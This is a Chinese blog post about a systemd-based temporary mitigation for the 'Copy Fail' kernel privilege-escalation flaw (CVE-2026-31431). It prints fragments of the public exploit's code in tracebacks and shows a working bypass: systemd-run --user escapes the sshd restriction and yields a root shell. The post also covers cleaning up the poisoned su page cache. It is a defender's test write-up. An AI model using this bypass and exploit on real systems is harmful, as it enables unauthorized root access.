三月兔的隐秘电台

  • 首页
  1. 首页
  2. 文章
  3. 杂谈
  4. 正文

生产环境上临时封堵Copy Fail的二三事

2026-05-02 126点热度 4人点赞 0条评论

正如上一条动态所说,生产环境并不是那么方便全量重启,工作群里讨论的时候,同事提出了一个不需要重启系统的临时封堵措施:

mkdir -p /etc/systemd/system/sshd.service.d
cat > /etc/systemd/system/sshd.service.d/cve-2026-31431.conf << EOF
[Service]
RestrictAddressFamilies=~AF_ALG
EOF
systemctl daemon-reload
systemctl restart sshd

初看上去有一定道理,通过禁止sshd服务及其子进程创建AF_ALG类型的socket来阻止用户利用Copy Fail漏洞。但Rabi总觉得不太靠谱,于是在集群中找了一台备用的服务器来尝试突破这一封堵措施。

正在突入

生产环境运行的是Rocky Linux 8.8。使用theori-io/copy-fail-CVE-2026-31431提供的copy_fail_exp.py,直接执行python3 copy_fail_exp.py会得到以下报错:

Traceback (most recent call last):
  File "copy_fail_exp.py", line 9, in <module>
    while i<len(e):c(f,i,e[i:i+4]);i+=4
  File "copy_fail_exp.py", line 5, in c
    a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
AttributeError: module 'os' has no attribute 'splice'

这只是因为系统自带Python 3.6版本太老所致,普通用户有一万种办法给自己搞一个高版本python,这里就用现成的uv部署一个虚拟环境:

uv venv --python=3.12
source .venv/bin/activate

再次尝试,结果如何呢?

Traceback (most recent call last):
  File "/home/rabi/copy_fail_exp.py", line 9, in <module>
    while i<len(e):c(f,i,e[i:i+4]);i+=4
                   ^^^^^^^^^^^^^^^
  File "/home/rabi/copy_fail_exp.py", line 5, in c
    a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
      ^^^^^^^^^^^^^^^^
  File "/home/rabi/.local/share/uv/python/cpython-3.12.13-linux-x86_64-gnu/lib/python3.12/socket.py", line 233, in __init__
    _socket.socket.__init__(self, family, type, proto, fileno)
OSError: [Errno 97] Address family not supported by protocol

看起来这个临时措施的确阻止了SSH用户利用Copy Fail漏洞?但Rabi有别的看法:既然sshd的子进程无法创建AF_ALG socket,那只要设法脱离sshd的范围,就能重新把漏洞暴露出来。

具体来说,可以利用systemd-run,创建一个从属于/user.slice/user-<uid>.slice/user@<uid>.service而非/system.slice/sshd.service的shell:

(rabi) [rabi@some-server ~]$ systemd-run --user --pty bash
Running as unit: run-u82.service
Press ^] three times within 1s to disconnect TTY.
[rabi@some-server ~]$

之前加载的虚拟环境没了,重新加载,然后执行漏洞利用:

[rabi@some-server ~]$ source .venv/bin/activate
(rabi) [rabi@some-server ~]$ python3 copy_fail_exp.py
[root@some-server rabi]# exit

这次就成功拿到了root shell,证明该方案不够严密。不过也并非毫无价值,毕竟能拦住拿着copy_fail_exp.py到处尝试运行的脚本小子们,也算是起了一定作用了。

收拾残局

返回正常终端之后,Rabi突然发现因为刚才的漏洞利用,现在任何用户执行su都会立刻获得root shell,大呼不妙,只好再次进入root shell来消除残留影响。

出现这个情况的原因,是Copy Fail漏洞篡改具有suid的程序(示例中是/usr/bin/su)在内存中的页缓存,使其直接创建root shell。即使什么都没有做就退出了这个root shell,被污染的二进制程序缓存仍在内存中,任何其他用户调用/usr/bin/su都会使用内存中的缓存,并像漏洞利用者一样直接取得root shell。要纠正这一残留,只需要强制让操作系统丢弃页缓存即可:

[root@some-server rabi]# sync
[root@some-server rabi]# echo 3 > /proc/sys/vm/drop_caches

此时再回到普通用户,su的行为就正常了。因为硬盘上的su二进制文件并未被篡改,丢弃页缓存重新从硬盘上读入就会恢复正常。

后记

临时缓解办法先按下不表,真正需要解决的问题是由于一些软件的约束,生产环境内核的版本不能改变,也就无法直接更新到后续发布的修复版本。现在看来值得考虑的是利用仓库里的内核源码和config,修改为CONFIG_CRYPTO_USER_API_AEAD=n重新编译一个同名内核来替代。理论上在不动版本号的情况下,就不需要级联地重新编译其他软件的内核模块了。

标签: 暂无
最后更新:2026-05-02

三月のRabi

是擅长挖坑的兔子呐

点赞

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

三月のRabi

是擅长挖坑的兔子呐

最新 热点 随机
最新 热点 随机
饥荒服务器Agent套件DST-Say-Pal 使用Agent进行规范驱动开发 Windows调教指南(其一) 博客主题Kratos4Radio 生产环境上临时封堵Copy Fail的二三事
使用Agent进行规范驱动开发 饥荒服务器Agent套件DST-Say-Pal
生产环境上临时封堵Copy Fail的二三事 饥荒服务器Agent套件DST-Say-Pal Windows调教指南(其一) 博客主题Kratos4Radio 使用Agent进行规范驱动开发
最近评论
三月のRabi
三月のRabi 发布于 2 个月前(04月12日) 调主题中……

COPYRIGHT © 2026 三月兔的隐秘电台. ALL RIGHTS RESERVED.

Theme Kratos4Radio forked from kratos V4